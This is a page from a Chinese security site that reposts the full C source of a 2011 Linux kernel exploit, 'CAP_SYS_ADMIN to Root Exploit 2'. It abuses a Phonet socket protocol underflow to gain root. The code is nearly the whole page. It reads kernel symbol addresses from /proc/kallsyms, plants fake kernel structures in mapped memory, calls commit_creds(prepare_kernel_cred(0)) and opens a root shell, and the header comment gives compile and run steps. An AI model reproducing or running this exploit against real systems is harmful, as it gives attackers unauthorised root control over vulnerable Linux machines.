首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
来源:@jtsylve on twitter 作者:Sylve 发布时间:2011-01-10  

/*
 * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
 * by Joe Sylve
 * @jtsylve on twitter
 *
 * Released: Jan 7, 2011
 *
 * Based on the bug found by Dan Rosenberg (@djrbliss)
 * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
 *
 * Usage:
 * gcc -w caps-to-root2.c -o caps-to-root2
 * sudo setcap cap_sys_admin+ep caps-to-root2
 * ./caps-to-root2
 *
 * Kernel Version >= 2.6.34 (untested on earlier versions)
 *
 * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
 *
 * This exploit takes advantage of the same underflow as the original,
 * but takes a different approach.  Instead of underflowing into userspace
 * (which doesn't work on 64-bit systems and is a lot of work), I underflow
 * to some static values inside of the kernel which are referenced as pointers
 * to userspace.  This method is pretty simple and seems to be reliable.
 */

#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
 int family;
 void  *buffer1[8];
 int (*ioctl)(void *, int, long);
 void  *buffer2[12];
};

struct phonet_protocol_skel {
 void *ops;
 void *prot;
 int sock_type; 
};


#ifdef __x86_64__

#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0

typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);

#else //32-bit

#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

#endif


_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void * v, int i, long l)
{
 commit_creds(prepare_kernel_cred(0));
 return 0;     
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
 FILE *f;
 unsigned long addr;
 char dummy;
 char sname[512];
 int ret;

 char command[512];

 sprintf(command, "grep \"%s\" /proc/kallsyms", name);

 f = popen(command, "r");

 while(ret != EOF) {
  ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

  if (ret == 0) {
   fscanf(f, "%s\n", sname);
   continue;
  }

  if (!strcmp(name, sname)) {

   fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
   pclose(f);
   return addr;
  }
 }

 pclose(f);
 return 0;
}

int main(int argc, char * argv[])
{

 int sock, proto;
 unsigned long proto_tab, low_kern_sym, pn_proto;
 void * map;

 /* Create a socket to load the module for symbol support */
 printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
 sock = socket(PF_PHONET, SOCK_DGRAM, 0);

 if(sock < 0) {
  if(errno == EPERM)
   printf("[*] You don't have CAP_SYS_ADMIN.\n");

  else
   printf("[*] Failed to open Phonet socket.\n");

  return -1;
 }

 close(sock);

 /* Resolve kernel symbols */
 printf("[*] Resolving kernel symbols...\n");

 proto_tab = get_kernel_sym("proto_tab");
 low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
 pn_proto =  get_kernel_sym("pn_proto");
 commit_creds = (void *) get_kernel_sym("commit_creds");
 prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");

 if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
  printf("[*] Failed to resolve kernel symbols.\n");
  return -1;
 }

 if (low_kern_sym >= proto_tab) {
  printf("[*] %s is mapped higher than prototab.  Can not underflow :-(.\n", SYM_NAME);
  return -1;
 }


 /* Map it */
 printf("[*] Preparing fake structures...\n");

 const struct proto_ops_skel fake_proto_ops2 = {
   .family  = AF_PHONET, 
   .ioctl  = &getroot,
 };  

 struct phonet_protocol_skel pps = {
   .ops = (void *) &fake_proto_ops2,
   .prot = (void *) pn_proto,
   .sock_type = SOCK_DGRAM,
 };

 printf("[*] Copying Structures.\n");

 map = mmap((void *) SYM_ADDRESS, 0x1000,
   PROT_READ | PROT_WRITE | PROT_EXEC,
   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

 if(map == MAP_FAILED) {
  printf("[*] Failed to map landing area.\n");
  perror("mmap");
  return -1;
 }

 
 memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));

 // Calculate Underflow
 proto = -((proto_tab - low_kern_sym) / sizeof(void *));

 printf("[*] Underflowing with offset %d\n", proto);

 sock = socket(PF_PHONET, SOCK_DGRAM, proto);

 if(sock < 0) {
  printf("[*] Underflow failed :-(.\n");
  return -1;
 }

 printf("[*] Elevating privlidges...\n");
 ioctl(sock, 0, NULL);


 if(getuid()) {
  printf("[*] Exploit failed to get root.\n");
  return -1;
 }

 printf("[*] This was a triumph... I'm making a note here, huge success.\n");
 execl("/bin/sh", "/bin/sh", NULL);

 close(sock);
 munmap(map, 0x1000);

 return 0;
}

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Winamp 5.5.8 (in_mod plugin) S
·IrfanView 4.28 Multiple Denial
·HP Data Protector Manager v6.1
·KingView 6.5.3 SCADA HMI Heap
·NetSupport Manager Agent Remot
·VideoSpirit Pro <= v1.68 Local
·BS.Player 2.57 Buffer Overflow
·Enzip 3.00 Buffer Overflow
·Macro Express Pro 4.2.2.1 MXE
·proftpd multiple exploit for V
·LOCAL SOLARIS KERNEL ROOT EXPL
·MS10-081: Windows Common Contr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved